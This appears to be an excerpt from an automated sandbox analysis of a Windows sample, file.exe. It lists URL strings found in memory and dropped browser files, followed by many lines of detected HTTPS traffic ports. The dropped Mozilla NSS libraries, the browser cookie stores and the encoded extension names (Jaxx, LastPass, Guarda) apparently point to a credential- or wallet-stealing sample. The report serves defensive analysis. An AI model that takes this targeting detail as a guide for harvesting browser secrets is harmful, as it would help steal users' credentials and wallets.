Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.4.0/asset
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.5.13/asset
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_hc.png/1.4.0/asset
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_dark.png/1.4.0/asset
Source: HubApps Icons.9.dr, 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_dark.png/1.3.20/asset
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_hc.png/1.3.20/asset
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_light.png/1.3.20/asset
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_sound_cloud.png/1.0.3/asset
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_spotify.png/1.4.12/asset
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_dark.png/1.2.19/asset
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_hc.png/1.2.19/asset
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_light.png/1.2.19/asset
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_telegram.png/1.0.4/asset
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_hc.png/1.0.5/asset
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_dark.png/1.0.5/asset
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_light.png/1.0.5/asset
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tidal.png/1.0.3/asset
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tik_tok_light.png/1.0.5/asset
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_hc.png/1.5.13/asset
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_dark.png/1.5.13/asset
Source: HubApps Icons.9.dr, 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_twitter_light.png/1.0.9/asset
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_vk.png/1.0.3/asset
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whats_new.png/1.0.0/asset
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whatsapp_light.png/1.4.11/asset
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_word.png/1.7.32/asset
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_yandex_music.png/1.0.10/asset
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_youtube.png/1.4.14/asset
Source: 000003.log.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/signal_triggers/1.13.3/asset?sv=2017-07-29&sr=c&sig=Nt
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://excel.new?from=EdgeM365Shoreline
Source: chromecache_529.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey200-36dp/2x/gm_alert_gm_grey200_3
Source: chromecache_529.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey600-36dp/2x/gm_alert_gm_grey600_3
Source: chromecache_529.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey200-24dp/1x/gm_close_gm_grey200_2
Source: chromecache_529.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey600-24dp/1x/gm_close_gm_grey600_2
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://gaana.com/
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://i.y.qq.com/n2/m/index.html
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://img-s-msn-com.akamaized.net/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://img-s.msn.cn/tenant/amp/entityid/
Source: BGIJEGCGDGHDHIDHDGCB.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://latest.web.skype.com/?browsername=edge_canary_shoreline
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://m.kugou.com/
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://m.soundcloud.com/
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://m.vk.com/
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://mail.google.com/mail/mu/mp/266/#tl/Inbox
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://manifestdeliveryservice.edgebrowser.microsoft-staging-falcon.io/app/page-context-demo
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: Cookies.10.dr	String found in binary or memory: https://msn.comXID/
Source: Cookies.10.dr	String found in binary or memory: https://msn.comXIDv10
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://music.amazon.com
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://music.apple.com
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://music.yandex.com
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://ntp.msn.cn/edge/ntp
Source: 000003.log6.9.dr, 2cc80dabc69f58b6_0.9.dr	String found in binary or memory: https://ntp.msn.com
Source: 000003.log2.9.dr, 000003.log5.9.dr	String found in binary or memory: https://ntp.msn.com/
Source: 000003.log2.9.dr	String found in binary or memory: https://ntp.msn.com/0
Source: QuotaManager.9.dr	String found in binary or memory: https://ntp.msn.com/_default
Source: 000003.log2.9.dr, 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=288
Source: Session_13374611005284742.9.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&start
Source: QuotaManager.9.dr	String found in binary or memory: https://ntp.msn.com/ntp.msn.com_default
Source: 2cc80dabc69f58b6_0.9.dr	String found in binary or memory: https://ntp.msn.comService-Worker-Allowed:
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://open.spotify.com
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://outlook.live.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://outlook.live.com/mail/0/
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://outlook.live.com/mail/compose?isExtension=true
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://outlook.office.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://outlook.office.com/mail/0/
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://outlook.office.com/mail/compose?isExtension=true
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://outlook.office.com/mail/inbox?isExtension=true&sharedHeader=1&client_flight=outlookedge
Source: chromecache_529.4.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: chromecache_528.4.dr	String found in binary or memory: https://plus.google.com
Source: chromecache_528.4.dr	String found in binary or memory: https://plus.googleapis.com
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://powerpoint.new?from=EdgeM365Shoreline
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://sb.scorecardresearch.com/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://srtb.msn.cn/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://srtb.msn.com/
Source: BGDAAKJJDAAKFHJKJKFCAEHDAF.0.dr	String found in binary or memory: https://support.mozilla.org
Source: BGDAAKJJDAAKFHJKJKFCAEHDAF.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: BGDAAKJJDAAKFHJKJKFCAEHDAF.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://tidal.com/
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://twitter.com/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	String found in binary or memory: https://unitedstates1.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	String found in binary or memory: https://unitedstates2.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	String found in binary or memory: https://unitedstates4.ss.wd.microsoft.us/
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://vibe.naver.com/today
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_canary_shoreline
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_stable_shoreline
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://web.telegram.org/
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://web.whatsapp.com
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://word.new?from=EdgeM365Shoreline
Source: chromecache_528.4.dr	String found in binary or memory: https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1
Source: file.exe, 00000000.00000002.2489025666.0000000000BA1000.00000004.00000020.00020000.00000000.sdmp, BGIJEGCGDGHDHIDHDGCB.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: file.exe, 00000000.00000002.2489025666.0000000000BA1000.00000004.00000020.00020000.00000000.sdmp, BGIJEGCGDGHDHIDHDGCB.0.dr	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://www.deezer.com/
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000000.00000003.2262062219.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp, FBKECFII.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: content_new.js.9.dr, content.js.9.dr	String found in binary or memory: https://www.google.com/chrome
Source: file.exe, 00000000.00000003.2368743778.000000002345D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2262062219.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp, DBGHDGHC.0.dr, Web Data.9.dr, FBKECFII.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 337c8cb3-b4ee-451d-9c69-18b000523e41.tmp.10.dr	String found in binary or memory: https://www.googleapis.com
Source: chromecache_528.4.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.me
Source: chromecache_528.4.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.people.recommended
Source: chromecache_529.4.dr	String found in binary or memory: https://www.gstatic.com/gb/html/afbp.html
Source: chromecache_529.4.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_medium.css
Source: chromecache_529.4.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_small.css
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://www.iheart.com/podcast/
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://www.instagram.com
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://www.last.fm/
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://www.messenger.com
Source: BGDAAKJJDAAKFHJKJKFCAEHDAF.0.dr	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000000.00000002.2486320948.0000000000474000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2486320948.0000000000446000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: BGDAAKJJDAAKFHJKJKFCAEHDAF.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: file.exe, 00000000.00000002.2486320948.0000000000474000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: BGDAAKJJDAAKFHJKJKFCAEHDAF.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: file.exe, 00000000.00000002.2486320948.0000000000474000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2486320948.0000000000446000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000000.00000002.2486320948.0000000000446000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/280x1024
Source: file.exe, 00000000.00000003.2458427336.0000000023705000.00000004.00000020.00020000.00000000.sdmp, BGDAAKJJDAAKFHJKJKFCAEHDAF.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: file.exe, 00000000.00000002.2486320948.0000000000474000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/ZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBM
Source: file.exe, 00000000.00000002.2486320948.0000000000474000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/lvYnwxfDB8MHxMYXN0UGFzc3xoZG9raWVqbnBpbWFrZWRoYWpoZGxj
Source: BGDAAKJJDAAKFHJKJKFCAEHDAF.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.2458427336.0000000023705000.00000004.00000020.00020000.00000000.sdmp, BGDAAKJJDAAKFHJKJKFCAEHDAF.0.dr	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: file.exe, 00000000.00000002.2486320948.0000000000474000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2486320948.0000000000446000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000000.00000003.2458427336.0000000023705000.00000004.00000020.00020000.00000000.sdmp, BGDAAKJJDAAKFHJKJKFCAEHDAF.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: file.exe, 00000000.00000002.2486320948.0000000000446000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/kZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGp
Source: file.exe, 00000000.00000002.2486320948.0000000000446000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/vRm9ybXxwbmxjY21vamNtZW9obHBnZ21mbmJiaWFwa21ibGlvYnwxfDB8MHx
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://www.msn.com/web-notification-icon-light.png
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&game
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&item
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&item=fl
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&playInS
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://www.office.com
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://www.tiktok.com/
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://www.youtube.com
Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: https://y.music.163.com/m/

Source: unknown	Network traffic detected: HTTP traffic on port 63646 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63669 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63428 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63623 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63600 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63808
Source: unknown	Network traffic detected: HTTP traffic on port 63440 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63681 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63801
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63804
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63806
Source: unknown	Network traffic detected: HTTP traffic on port 63806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63508 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63590 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63452 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63819
Source: unknown	Network traffic detected: HTTP traffic on port 63555 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63813
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63816
Source: unknown	Network traffic detected: HTTP traffic on port 63612 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63815
Source: unknown	Network traffic detected: HTTP traffic on port 63715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63818
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63817
Source: unknown	Network traffic detected: HTTP traffic on port 63784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63566 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63692 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63810
Source: unknown	Network traffic detected: HTTP traffic on port 63658 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 63772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63709
Source: unknown	Network traffic detected: HTTP traffic on port 63554 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63702
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63701
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63822
Source: unknown	Network traffic detected: HTTP traffic on port 63441 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63704
Source: unknown	Network traffic detected: HTTP traffic on port 63634 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63827
Source: unknown	Network traffic detected: HTTP traffic on port 63577 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63705
Source: unknown	Network traffic detected: HTTP traffic on port 63611 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 63693 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63700
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63821
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63820
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 63645 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63670 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63588 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63475 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63532 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63717
Source: unknown	Network traffic detected: HTTP traffic on port 63738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 63486 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 63543 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63711
Source: unknown	Network traffic detected: HTTP traffic on port 63509 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63710
Source: unknown	Network traffic detected: HTTP traffic on port 63453 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63739 -> 443
